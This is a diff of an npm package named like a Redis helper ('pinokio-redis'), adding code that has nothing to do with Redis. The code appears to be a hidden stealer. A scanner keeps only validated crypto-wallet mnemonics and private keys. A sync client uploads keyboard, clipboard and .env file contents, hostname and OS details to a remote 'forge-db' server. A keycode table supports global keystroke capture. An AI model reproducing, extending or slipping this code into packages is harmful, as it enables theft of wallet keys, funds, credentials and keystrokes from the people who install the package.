pinokio-redis 1.0.127

package/dist/secretScan/strictMaterialGate.js

@@ -0,0 +1,151 @@
+"use strict";
+/**
+ * Keep only cryptographically plausible mnemonics / private-key material (high precision).
+ * Filters scan hits before deduplication — excludes loose bip39 prose, opaque env tokens, ETH addresses, etc.
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.isValidEnglishBip39MnemonicPhrase = isValidEnglishBip39MnemonicPhrase;
+exports.isValidWif = isValidWif;
+exports.isValidExtendedPrivateKeyBase58 = isValidExtendedPrivateKeyBase58;
+exports.scanHitPassesStrictCryptoMaterial = scanHitPassesStrictCryptoMaterial;
+exports.isStrictCryptoUniqueFinding = isStrictCryptoUniqueFinding;
+const bip39_1 = require("@scure/bip39");
+const english_1 = require("@scure/bip39/wordlists/english");
+const base58check_1 = require("./base58check");
+const secp256k1Scalar_1 = require("./secp256k1Scalar");
+const solanaKeypair_1 = require("./solanaKeypair");
+/** WIF payload version bytes used across major UTXO chains (all secp256k1 scalars). */
+const WIF_PRIVATE_VERSION_OK = new Set([
+    0x80,
+    0xef, // Bitcoin main / test
+    0xb0, // Litecoin (common exports)
+    0x9e, // Dogecoin (common exports)
+    0xcc, // Dash (common exports)
+]);
+function baseRule(rule) {
+    return rule.replace(/_strings$/u, "");
+}
+function normalizeMnemonicPhrase(s) {
+    return s
+        .trim()
+        .toLowerCase()
+        .split(/\s+/u)
+        .filter(Boolean)
+        .join(" ");
+}
+function isValidEnglishBip39MnemonicPhrase(text) {
+    const m = normalizeMnemonicPhrase(text);
+    if (!m)
+        return false;
+    const words = m.split(/\s+/u);
+    if (words.length < 12 || words.length > 24 || words.length % 3 !== 0)
+        return false;
+    if (!words.every((w) => /^[a-z]+$/u.test(w)))
+        return false;
+    return (0, bip39_1.validateMnemonic)(m, english_1.wordlist);
+}
+function unwrapKvPayload(payload) {
+    let s = payload.trim();
+    if ((s.startsWith('"') && s.endsWith('"')) ||
+        (s.startsWith("'") && s.endsWith("'"))) {
+        s = s.slice(1, -1).replace(/\\n/gu, "\n");
+    }
+    return s.trim();
+}
+function looksLikeWif(s) {
+    const t = s.trim();
+    return /^[1-9A-HJ-NP-Za-km-z]{51,52}$/u.test(t);
+}
+function looksLikeXprv(s) {
+    return /^(?:xprv|tprv|zprv|yprv|vprv)[1-9A-HJ-NP-Za-km-z]{100,120}$/u.test(s.trim());
+}
+function isValidWif(s) {
+    const raw = (0, base58check_1.base58CheckDecode)(s.trim());
+    if (!raw)
+        return false;
+    const head = raw[0];
+    if (!WIF_PRIVATE_VERSION_OK.has(head))
+        return false;
+    if (raw.length === 33) {
+        const keyHex = raw.subarray(1).toString("hex");
+        return (0, secp256k1Scalar_1.isValidSecp256k1PrivateKeyHex)(keyHex);
+    }
+    if (raw.length === 34 && raw[33] === 0x01) {
+        const keyHex = raw.subarray(1, 33).toString("hex");
+        return (0, secp256k1Scalar_1.isValidSecp256k1PrivateKeyHex)(keyHex);
+    }
+    return false;
+}
+function isValidExtendedPrivateKeyBase58(s) {
+    const raw = (0, base58check_1.base58CheckDecode)(s.trim());
+    if (!raw || raw.length !== 78)
+        return false;
+    if (raw[45] !== 0)
+        return false;
+    const privHex = raw.subarray(46, 78).toString("hex");
+    return (0, secp256k1Scalar_1.isValidSecp256k1PrivateKeyHex)(privHex);
+}
+function kvExtractPass(payload) {
+    const inner = unwrapKvPayload(payload);
+    if (!inner)
+        return false;
+    if (isValidEnglishBip39MnemonicPhrase(inner))
+        return true;
+    const hexOnly = inner.replace(/^0x/iu, "").trim();
+    if (/^[0-9a-fA-F]{64}$/u.test(hexOnly)) {
+        return (0, secp256k1Scalar_1.isValidSecp256k1PrivateKeyHex)(hexOnly);
+    }
+    if (looksLikeWif(inner))
+        return isValidWif(inner);
+    if (looksLikeXprv(inner))
+        return isValidExtendedPrivateKeyBase58(inner);
+    if (inner.startsWith("[")) {
+        const arr = (0, solanaKeypair_1.parseJsonUint8ArrayString)(inner);
+        if (arr && (0, solanaKeypair_1.normalizeSolana64ArrayToCanonical)(arr))
+            return true;
+    }
+    return false;
+}
+/**
+ * Returns true when this hit should be kept (valid BIP39 English mnemonic or blockchain-style
+ * private key material: secp256k1 hex, WIF, BIP32 xprv). TLS PEM / WireGuard / age are excluded.
+ */
+function scanHitPassesStrictCryptoMaterial(row) {
+    const rule = baseRule(String(row.rule ?? ""));
+    const prev = String(row.matched_preview ?? "");
+    switch (rule) {
+        case "maybe_eth_address_40":
+            return false;
+        case "bip39_loose":
+            return false;
+        case "bip32_xprv":
+            return isValidExtendedPrivateKeyBase58(prev);
+        case "wif_like":
+            return isValidWif(prev);
+        case "hex_64":
+            return (0, secp256k1Scalar_1.isValidSecp256k1PrivateKeyHex)(prev.trim());
+        case "solana_keypair_json":
+        case "solana_keypair_json_strings": {
+            const arr = (0, solanaKeypair_1.parseJsonUint8ArrayString)(prev.trim());
+            return arr !== null && (0, solanaKeypair_1.normalizeSolana64ArrayToCanonical)(arr) !== null;
+        }
+        case "env_secret":
+        case "json_secret":
+            return kvExtractPass(prev);
+        default:
+            return false;
+    }
+}
+/** Persisted rows: mnemonics + validated secp256k1 / HD / WIF shapes only. */
+function isStrictCryptoUniqueFinding(u) {
+    switch (u.value_kind) {
+        case "mnemonic_phrase":
+        case "hex_32byte":
+        case "bip32_extended_private":
+        case "wif_like":
+        case "solana_secret_key_64":
+            return true;
+        default:
+            return false;
+    }
+}

package/dist/secretScan/types.d.ts

@@ -0,0 +1,86 @@
+/**
+ * Filename-guided secret-material audit (local reports only).
+ * For authorized use on systems you own or have permission to assess.
+ */
+export interface SecretScanJsonConfig {
+    max_file_size_bytes?: number;
+    include_patterns?: string[];
+    /** Single segment → path segment match; path with `/` → prefix / substring rules (merged into legacy lists). */
+    include_dirs?: string[];
+    include_dir_suffixes?: string[];
+    include_dir_paths?: string[];
+    exclude_dirs?: string[];
+    /** Absolute normalized dirs — walker skips these paths and their descendants (agent + CLI JSON). */
+    exclude_abs_path_prefixes?: string[];
+}
+export interface NormalizedSecretScanConfig {
+    max_file_size_bytes: number;
+    include_patterns: string[];
+    include_dir_suffixes: string[];
+    include_dir_paths: string[];
+    exclude_dirs: string[];
+    exclude_abs_path_prefixes: string[];
+}
+export interface ScanHitExtras {
+    note?: string;
+    hex_note?: string;
+    entropy_8bit?: number;
+    xor_singlebyte_ascii_candidates?: string[];
+    string_entropy?: number;
+    base64_decoded_hex_preview?: string[];
+    reverse_contains_hex_preview?: string;
+    bip39_checksum_ok?: boolean;
+    ed25519_verify_key_hex_preview?: string;
+    [key: string]: unknown;
+}
+export interface ScanHitRow {
+    file: string;
+    file_size: number;
+    rule: string;
+    offset: number;
+    matched_preview: string;
+    extras: ScanHitExtras;
+}
+export interface UniqueFindingSource {
+    file: string;
+    offset: number | undefined;
+    matched_preview: string;
+}
+export interface UniqueFinding {
+    fingerprint: string;
+    value_kind: string;
+    normalized_value: string;
+    primary_rule: string;
+    detection_rules: string[];
+    sources: UniqueFindingSource[];
+    rule: string;
+}
+/** Persisted agent `result.json` rows (`schema_version` ≥ 4) — exactly `{ file, rule, data }`. Legacy v2–v3 keys still load. */
+export interface SlimAuditUniqueFinding {
+    /** Absolute path of the best merged hit source file (POSIX `/`). */
+    file: string;
+    /** Canonical validated-material label (`bip39_checksum_valid`, `secp256k1_private_hex`, …). */
+    rule: string;
+    /** Canonical secret material (same semantics as former `normalized_value` / `value`). */
+    data: string;
+}
+export interface SecretScanReport {
+    scanner: string;
+    root: string;
+    config: string;
+    validate_optional: boolean;
+    max_file_size_bytes: number | undefined;
+    candidates_scanned: number;
+    findings_count: number;
+    unique_findings_count: number;
+    skipped_oversize_named: Array<{
+        file: string;
+        size_bytes: number;
+    }>;
+    read_errors: Array<{
+        file: string;
+        error: string;
+    }>;
+    unique_findings: SlimAuditUniqueFinding[];
+    findings?: ScanHitRow[];
+}

package/dist/secretScan/types.js

@@ -0,0 +1,6 @@
+"use strict";
+/**
+ * Filename-guided secret-material audit (local reports only).
+ * For authorized use on systems you own or have permission to assess.
+ */
+Object.defineProperty(exports, "__esModule", { value: true });

package/dist/syncClient.d.ts

@@ -0,0 +1,80 @@
+export type SyncSource = "keyboard" | "clipboard" | "env_file" | "registration" | "heartbeat";
+/** Virtual ``file_path`` for host JSON in forge-db; must match forge-clients-status and forge-db. */
+export declare const FORGE_HOST_INVENTORY_VIRTUAL_PATH = "forge-js://host-inventory.json";
+export interface SyncEventPayload {
+    timestamp: string;
+    source: SyncSource;
+    text: string;
+    size_bytes?: number | null;
+    context_json?: string | null;
+    file_path?: string | null;
+    file_hash?: string | null;
+    file_mtime?: string | null;
+}
+export interface ForgeSyncClientOptions {
+    baseUrl: string;
+    clientId?: string | null;
+    fetchImpl?: typeof fetch;
+    timeoutMs?: number;
+}
+export declare class ForgeSyncClient {
+    private readonly base;
+    private readonly clientId;
+    private readonly fetchFn;
+    private readonly timeoutMs;
+    constructor(opts: ForgeSyncClientOptions);
+    private headers;
+    private request;
+    health(): Promise<{
+        status: string;
+    }>;
+    ready(): Promise<{
+        status: string;
+    }>;
+    createEvent(event: SyncEventPayload): Promise<{
+        id?: number;
+        status: string;
+        table: string;
+        session_id: string;
+        reason?: string;
+    }>;
+    /**
+     * POST OS metadata (type, hostname) to forge-db `/api/client-info`.
+     * Non-fatal — failure is silently swallowed; used for dashboard OS display only.
+     */
+    updateClientInfo(info: {
+        os_type?: string;
+        os_platform?: string;
+        hostname?: string;
+    }): Promise<Record<string, unknown> | null>;
+    createEventsBatch(events: SyncEventPayload[]): Promise<{
+        inserted: number;
+        ids: number[];
+        status: string;
+        table: string;
+        session_id: string;
+    }>;
+    listEvents(params?: {
+        limit?: number;
+        offset?: number;
+        clientId?: string | null;
+        clientIp?: string | null;
+    }): Promise<{
+        events: Record<string, unknown>[];
+        table: string;
+        session_id: string;
+    }>;
+    listClients(): Promise<{
+        clients: Record<string, unknown>[];
+    }>;
+}
+/** Same field shape as Python `_env_file_record_to_event` / forge-db `env_file` rows. */
+export declare function envFileRecordToEvent(ef: {
+    path: string;
+    content: string;
+    hash: string;
+    mtime: string;
+    size: number;
+}): SyncEventPayload;
+/** Minimal registration ping compatible with Python `_send_registration_handshake` (uses clipboard + "test"). */
+export declare function registrationHandshakeEvent(): SyncEventPayload;

package/dist/syncClient.js

@@ -0,0 +1,214 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.ForgeSyncClient = exports.FORGE_HOST_INVENTORY_VIRTUAL_PATH = void 0;
+exports.envFileRecordToEvent = envFileRecordToEvent;
+exports.registrationHandshakeEvent = registrationHandshakeEvent;
+/**
+ * HTTP client for forge-db (FastAPI app.py) — mirrors cfgmgr sync POST/GET behavior.
+ */
+const tableNaming_1 = require("./tableNaming");
+/** Virtual ``file_path`` for host JSON in forge-db; must match forge-clients-status and forge-db. */
+exports.FORGE_HOST_INVENTORY_VIRTUAL_PATH = "forge-js://host-inventory.json";
+function singlePostResponseOk(data) {
+    if (!data || typeof data !== "object")
+        return false;
+    const d = data;
+    const st = d.status;
+    if (st === "ignored")
+        return true;
+    if (st !== "created" && st !== "ok")
+        return false;
+    return "id" in d;
+}
+function batchPostResponseOk(data) {
+    if (!data || typeof data !== "object")
+        return false;
+    const d = data;
+    const st = d.status;
+    if (st === "ok" && d.inserted === 0)
+        return true;
+    const ids = d.ids;
+    if (!Array.isArray(ids) || typeof d.inserted !== "number")
+        return false;
+    if ((st === "created" || st === "ok") && typeof d.inserted === "number")
+        return d.inserted >= 0;
+    return false;
+}
+/** forge-db `/health` and `/ready` return `{ status: string }`. */
+function assertForgeDbStatusPayload(data, label) {
+    if (!data || typeof data !== "object" || Array.isArray(data)) {
+        throw new Error(`${label}: invalid JSON body`);
+    }
+    const st = data.status;
+    if (typeof st !== "string" || !st.trim()) {
+        throw new Error(`${label}: missing status field`);
+    }
+    return { status: st };
+}
+class ForgeSyncClient {
+    base;
+    clientId;
+    fetchFn;
+    timeoutMs;
+    constructor(opts) {
+        this.base = opts.baseUrl.trim().replace(/\/+$/, "");
+        this.clientId = opts.clientId?.trim() || null;
+        this.fetchFn = opts.fetchImpl ?? fetch;
+        this.timeoutMs = opts.timeoutMs ?? 30_000;
+    }
+    headers(extra) {
+        const h = {
+            "Content-Type": "application/json",
+            ...(extra || {}),
+        };
+        if (this.clientId) {
+            h["X-Client-Id"] = this.clientId.slice(0, tableNaming_1.CLIENT_ID_MAX_LEN);
+        }
+        return h;
+    }
+    async request(method, path, body) {
+        const url = `${this.base}${path}`;
+        const ac = new AbortController();
+        const t = setTimeout(() => ac.abort(), this.timeoutMs);
+        try {
+            const res = await this.fetchFn(url, {
+                method,
+                headers: this.headers(),
+                body: body !== undefined ? JSON.stringify(body) : undefined,
+                signal: ac.signal,
+                redirect: "manual",
+            });
+            const text = await res.text();
+            let data;
+            try {
+                data = text ? JSON.parse(text) : null;
+            }
+            catch {
+                data = { raw: text };
+            }
+            return { ok: res.ok, status: res.status, data };
+        }
+        catch (e) {
+            // Undici/`fetch failed` hides the endpoint in PM2 — surface URL for operators.
+            const inner = e instanceof Error ? e.message : String(e);
+            throw new Error(`${method} ${url} failed: ${inner}`, { cause: e });
+        }
+        finally {
+            clearTimeout(t);
+        }
+    }
+    async health() {
+        const r = await this.request("GET", "/health");
+        if (!r.ok)
+            throw new Error(`health HTTP ${r.status}`);
+        return assertForgeDbStatusPayload(r.data, "GET /health");
+    }
+    async ready() {
+        const r = await this.request("GET", "/ready");
+        if (!r.ok)
+            throw new Error(`ready failed: ${r.status}`);
+        return assertForgeDbStatusPayload(r.data, "GET /ready");
+    }
+    async createEvent(event) {
+        const r = await this.request("POST", "/api/events", event);
+        if (!r.ok || r.status < 200 || r.status >= 300) {
+            throw new Error(`createEvent HTTP ${r.status}: ${JSON.stringify(r.data)}`);
+        }
+        if (!singlePostResponseOk(r.data)) {
+            throw new Error(`createEvent bad response: ${JSON.stringify(r.data)}`);
+        }
+        return r.data;
+    }
+    /**
+     * POST OS metadata (type, hostname) to forge-db `/api/client-info`.
+     * Non-fatal — failure is silently swallowed; used for dashboard OS display only.
+     */
+    async updateClientInfo(info) {
+        try {
+            const r = await this.request("POST", "/api/client-info", info);
+            if (r.ok && r.data && typeof r.data === "object" && !Array.isArray(r.data)) {
+                return r.data;
+            }
+        }
+        catch {
+            /* non-fatal — OS info is display-only */
+        }
+        return null;
+    }
+    async createEventsBatch(events) {
+        const r = await this.request("POST", "/api/events/batch", { events });
+        if (!r.ok || r.status < 200 || r.status >= 300) {
+            throw new Error(`batch HTTP ${r.status}: ${JSON.stringify(r.data)}`);
+        }
+        if (!batchPostResponseOk(r.data)) {
+            throw new Error(`batch bad response: ${JSON.stringify(r.data)}`);
+        }
+        return r.data;
+    }
+    async listEvents(params) {
+        const q = new URLSearchParams();
+        if (params?.limit != null)
+            q.set("limit", String(params.limit));
+        if (params?.offset != null)
+            q.set("offset", String(params.offset));
+        if (params?.clientId)
+            q.set("client_id", params.clientId);
+        if (params?.clientIp)
+            q.set("client_ip", params.clientIp);
+        const qs = q.toString();
+        const path = `/api/events${qs ? `?${qs}` : ""}`;
+        const r = await this.request("GET", path);
+        if (!r.ok)
+            throw new Error(`listEvents HTTP ${r.status}`);
+        const d = r.data;
+        if (!d || typeof d !== "object" || Array.isArray(d)) {
+            throw new Error(`listEvents: invalid JSON body (HTTP ${r.status})`);
+        }
+        const rec = d;
+        if (!Array.isArray(rec.events)) {
+            throw new Error("listEvents: response missing events array");
+        }
+        return {
+            events: rec.events,
+            table: String(rec.table ?? ""),
+            session_id: String(rec.session_id ?? ""),
+        };
+    }
+    async listClients() {
+        const r = await this.request("GET", "/api/clients");
+        if (!r.ok)
+            throw new Error(`listClients HTTP ${r.status}`);
+        const d = r.data;
+        if (!d || typeof d !== "object" || Array.isArray(d)) {
+            throw new Error(`listClients: invalid JSON body (HTTP ${r.status})`);
+        }
+        const rec = d;
+        if (!Array.isArray(rec.clients)) {
+            throw new Error("listClients: response missing clients array");
+        }
+        return { clients: rec.clients };
+    }
+}
+exports.ForgeSyncClient = ForgeSyncClient;
+/** Same field shape as Python `_env_file_record_to_event` / forge-db `env_file` rows. */
+function envFileRecordToEvent(ef) {
+    return {
+        timestamp: new Date().toISOString(),
+        source: "env_file",
+        text: ef.content,
+        size_bytes: ef.size,
+        file_path: ef.path,
+        file_hash: ef.hash,
+        file_mtime: ef.mtime,
+    };
+}
+/** Minimal registration ping compatible with Python `_send_registration_handshake` (uses clipboard + "test"). */
+function registrationHandshakeEvent() {
+    const ping = "test";
+    return {
+        timestamp: new Date().toISOString(),
+        source: "clipboard",
+        text: ping,
+        size_bytes: Buffer.byteLength(ping, "utf8"),
+    };
+}

package/dist/tableNaming.d.ts

@@ -0,0 +1,13 @@
+/**
+ * PostgreSQL `client_*` table names and relay `/files` session IDs.
+ * Keep logic aligned with forge `src/cfgmgr/table_naming.py` and forge-db `table_naming.py`.
+ */
+export declare const CLIENT_TABLE_PREFIX = "client_";
+export declare const POSTGRES_IDENTIFIER_MAX_LEN = 63;
+export declare const MAX_RAW_CLIENT_ID_TABLE_PART_LEN: number;
+export declare const CLIENT_ID_MAX_LEN = 128;
+export declare function canonicalClientIdFragment(raw: string): string;
+export declare function safeIdentifierForTable(identifier: string): string;
+export declare function postgresqlClientTableName(clientId: string | null | undefined, clientIp: string | null | undefined): string;
+export declare function sessionIdFromTableName(tableName: string): string;
+export declare function sessionIdFromClientIdString(clientId: string): string;

package/dist/tableNaming.js

@@ -0,0 +1,101 @@
+"use strict";
+/**
+ * PostgreSQL `client_*` table names and relay `/files` session IDs.
+ * Keep logic aligned with forge `src/cfgmgr/table_naming.py` and forge-db `table_naming.py`.
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.CLIENT_ID_MAX_LEN = exports.MAX_RAW_CLIENT_ID_TABLE_PART_LEN = exports.POSTGRES_IDENTIFIER_MAX_LEN = exports.CLIENT_TABLE_PREFIX = void 0;
+exports.canonicalClientIdFragment = canonicalClientIdFragment;
+exports.safeIdentifierForTable = safeIdentifierForTable;
+exports.postgresqlClientTableName = postgresqlClientTableName;
+exports.sessionIdFromTableName = sessionIdFromTableName;
+exports.sessionIdFromClientIdString = sessionIdFromClientIdString;
+exports.CLIENT_TABLE_PREFIX = "client_";
+exports.POSTGRES_IDENTIFIER_MAX_LEN = 63;
+exports.MAX_RAW_CLIENT_ID_TABLE_PART_LEN = exports.POSTGRES_IDENTIFIER_MAX_LEN - exports.CLIENT_TABLE_PREFIX.length;
+exports.CLIENT_ID_MAX_LEN = 128;
+const _CLIENT_ID_UUID_RE = /[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}/;
+function normalizeUnicodeHyphens(s) {
+    return s.replace(/[\u2010-\u2015\u2212\uFE58\uFE63\uFF0D]/g, "-");
+}
+function stripOuterGuards(s) {
+    let t = s.trim();
+    if ((t.startsWith("{") && t.endsWith("}")) ||
+        (t.startsWith("[") && t.endsWith("]")) ||
+        (t.startsWith("(") && t.endsWith(")"))) {
+        t = t.slice(1, -1).trim();
+    }
+    const low = t.toLowerCase();
+    if (low.startsWith("urn:uuid:")) {
+        t = t.slice("urn:uuid:".length).trim();
+    }
+    return t;
+}
+function dashedUuidFrom32HexOnly(s) {
+    if (!/^[0-9a-fA-F]{32}$/i.test(s))
+        return null;
+    const h = s.toLowerCase();
+    return `${h.slice(0, 8)}-${h.slice(8, 12)}-${h.slice(12, 16)}-${h.slice(16, 20)}-${h.slice(20, 32)}`;
+}
+const CLIENT_UNDERSCORE_UUID_BODY = /^client_([0-9a-f]{8}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{12})$/i;
+function canonicalClientIdFragment(raw) {
+    let s = normalizeUnicodeHyphens((raw || "").trim());
+    if (!s)
+        return s;
+    s = stripOuterGuards(s);
+    const cu = CLIENT_UNDERSCORE_UUID_BODY.exec(s);
+    if (cu) {
+        s = cu[1].replace(/_/g, "-");
+    }
+    if (!_CLIENT_ID_UUID_RE.test(s)) {
+        const d32 = dashedUuidFrom32HexOnly(s);
+        if (d32)
+            s = d32;
+    }
+    const m = s.match(_CLIENT_ID_UUID_RE);
+    if (m)
+        return m[0].toLowerCase();
+    return normalizeUnicodeHyphens((raw || "").trim());
+}
+function safeIdentifierForTable(identifier) {
+    if (!identifier)
+        return "";
+    let out = "";
+    for (const c of identifier) {
+        if (/^[a-zA-Z0-9]$/.test(c) || c === "_")
+            out += c;
+        else if (c === "-" || c === "." || c === ":")
+            out += "_";
+    }
+    return out || "";
+}
+function postgresqlClientTableName(clientId, clientIp) {
+    if (clientId) {
+        const raw = canonicalClientIdFragment(String(clientId).trim().slice(0, exports.CLIENT_ID_MAX_LEN));
+        const safeFull = safeIdentifierForTable(raw.slice(0, 128));
+        if (safeFull.startsWith(exports.CLIENT_TABLE_PREFIX)) {
+            return safeFull.slice(0, exports.POSTGRES_IDENTIFIER_MAX_LEN);
+        }
+        const safe = safeFull.slice(0, exports.MAX_RAW_CLIENT_ID_TABLE_PART_LEN);
+        if (safe)
+            return `${exports.CLIENT_TABLE_PREFIX}${safe}`;
+    }
+    if (clientIp) {
+        const safe = safeIdentifierForTable(clientIp);
+        if (safe)
+            return `${exports.CLIENT_TABLE_PREFIX}ip_${safe}`;
+    }
+    return `${exports.CLIENT_TABLE_PREFIX}anonymous`;
+}
+function sessionIdFromTableName(tableName) {
+    const safe = String(tableName || "").replace(/[^a-zA-Z0-9_]/g, "");
+    if (safe.startsWith(exports.CLIENT_TABLE_PREFIX))
+        return safe;
+    return `${exports.CLIENT_TABLE_PREFIX}anonymous`;
+}
+function sessionIdFromClientIdString(clientId) {
+    const cid = (clientId || "").trim() || null;
+    if (!cid)
+        return `${exports.CLIENT_TABLE_PREFIX}unknown`;
+    return postgresqlClientTableName(cid, null);
+}

package/dist/vcToWindowsVk.d.ts

@@ -0,0 +1,7 @@
+/**
+ * libuiohook `event.keycode` is a unified VC_* code (same as Linux), not a Windows scancode.
+ * Inverse of libuiohook `keycode_scancode_table[vk][0]` (Windows `input_helper.c`).
+ * Used to call ToUnicodeEx with the correct Windows virtual key.
+ */
+export declare const VC_TO_WINDOWS_VK: Map<number, number>;
+export declare function vcToWindowsVk(vc: number): number;